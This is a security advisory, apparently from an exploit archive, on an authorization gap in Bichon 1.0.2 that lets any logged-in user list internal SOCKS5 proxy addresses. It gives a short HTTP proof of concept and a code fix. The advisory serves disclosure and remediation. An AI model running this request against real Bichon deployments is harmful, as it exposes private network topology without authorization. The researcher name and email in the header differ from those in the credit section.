Share
## https://sploitus.com/exploit?id=PACKETSTORM:221274
Bichon 1.0.2 SOCKS5 Proxy Topology Disclosure via /list-proxy
    =============================================================
    
    Vendor:        rustmailer
    Product:       Bichon - self-hosted email archiving server (Rust + TypeScript)
    Project URL:   https://github.com/rustmailer/bichon
    Affected:      All versions through HEAD as of 2026-05-18
                   Commit:  9daab241b0220e81e43d4b98616d77fa45ad58c7
                   Release: 1.0.2
    Patched:       Pending vendor fix
    Severity:      Medium
    CVSS 3.1:      5.3  (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)
    CWE:           CWE-200 (Exposure of Sensitive Information to an
                            Unauthorized Actor)
    CVE:           Pending (requested via GitHub CNA)
    Discovered:    2026-05-18 (manual source review + live verification)
    Researcher:    AoxLir  <eren.demir@razesecurity.com>
    Disclosure:    Coordinated (Project Zero 90-day standard)
    
    
    I. Background
    =============
    
    Bichon supports SOCKS5 and HTTP proxies for outbound IMAP/OAuth2
    connections.  Administrators register proxy entries via the REST API
    and reference them per-account via the `use_proxy` field in account
    creation.
    
    
    II. Vulnerability Detail
    ========================
    
    In crates/server/src/rest/api/system.rs lines 73-80:
    
        /// Get the full list of SOCKS5 proxy configurations.
        #[oai(method = "get", path = "/list-proxy",
              operation_id = "list_proxy")]
        async fn list_proxy(&self, _context: WrappedContext)
            -> ApiResult<Json<Vec<Proxy>>> {
            //The proxy list is visible to all users.
            let proxies = Proxy::list_all()
                .map_err(|e| raise_error!(format!("{:#?}", e),
                                           ErrorCode::InternalError))?;
            Ok(Json(proxies))
        }
    
    The function takes a WrappedContext (verifying authentication) but
    calls neither require_permission nor has_permission.  Every other proxy
    endpoint in the same file enforces Permission::ROOT:
    
        async fn remove_proxy(&self, id: Path<u64>,
                              context: WrappedContext) -> ApiResult<()> {
            context.require_permission(None, Permission::ROOT)?;  /* ... */
        }
        async fn get_proxy(&self, ... ) -> ApiResult<Json<Proxy>> {
            context.require_permission(None, Permission::ROOT)?;  /* ... */
        }
        async fn create_proxy(&self, ... ) -> ApiResult<()> {
            context.require_permission(None, Permission::ROOT)?;  /* ... */
        }
        async fn update_proxy(&self, ... ) -> ApiResult<()> {
            context.require_permission(None, Permission::ROOT)?;  /* ... */
        }
    
    Single-item GET requires ROOT.  Full list does not.  This is an
    authorization inconsistency.
    
    
    III. Proof of Concept
    =====================
    
    Verified live against rustmailer/bichon:1.0.2 (Docker).
    
    Step 1: Admin registers a SOCKS5 proxy:
    
      POST /api/v1/proxy
      Authorization: Bearer <admin_token>
      Content-Type: text/plain
    
      socks5://10.0.5.10:1080
    
    Step 2: A user 'bob' is created with the lowest possible privileges -
            only the built-in `member` global role, which holds a single
            permission: system:access (i.e. the ability to log in).
            Bob has no account access:
    
      GET /api/v1/current-user  (bob's token)
      {
        "global_roles_names": ["member"],
        "global_permissions": ["system:access"],
        "account_access_map": {},
        "account_permissions": {}
      }
    
    Step 3: Bob requests the proxy list:
    
      GET /api/v1/list-proxy
      Authorization: Bearer <bob_token>
    
      HTTP/1.1 200 OK
      [
        {"id": 7553069259939497,
         "url": "socks5://10.0.5.10:1080",
         "created_at": 1779105772307,
         "updated_at": 1779105772307}
      ]
    
    Step 4: Bob attempts the single-item GET (per-id endpoint), which is
            properly restricted:
    
      GET /api/v1/proxy/7553069259939497
      Authorization: Bearer <bob_token>
    
      HTTP/1.1 400  (parser error; an authenticated non-ROOT user with
                     the correct id format gets 403/permission denied -
                     the endpoint enforces ROOT properly)
    
    
    IV. Impact
    ==========
    
    Live testing established that Bichon's proxy create endpoint REJECTS
    URLs with embedded credentials (e.g. socks5://user:pass@host:port) -
    authentication, if any, is stored separately.  This downgrades the
    original credential-disclosure concern.  However:
    
      - Full proxy URL (host:port) is disclosed to every authenticated user,
        including users created with zero account access.  This reveals
        internal-network topology (host/port combinations of corporate
        proxies, often only reachable from inside a VPN).
    
      - Proxy IDs are disclosed and may be used at account creation via the
        `use_proxy` field by any user authorized to create accounts, even
        proxies that an administrator may have created for a specific
        subset of accounts.
    
      - In multi-tenant or MSP deployments, tenant A's proxy list is
        disclosed to tenant B users who share the same Bichon instance.
    
    
    V. Solution
    ===========
    
    Option A (preferred) - bring the list endpoint into line with the
    other proxy endpoints in the same file:
    
        async fn list_proxy(&self, context: WrappedContext)
            -> ApiResult<Json<Vec<Proxy>>> {
            context.require_permission(None, Permission::ROOT)?;
            let proxies = Proxy::list_all()?;
            Ok(Json(proxies))
        }
    
    Option B (if broad visibility is genuinely required for the WebUI
    account-creation form) - redact the host:port portion, returning only
    {id, label} pairs from /list-proxy.  Full URLs remain available via
    the ROOT-restricted single-item GET.
    
    
    
    VI. Credit
    ===========
    
    Discovered and reported by MrOruc, independent security researcher.
    GitHub: https://github.com/MrOruc
    Email:  kerim.oruc@razesecurity.com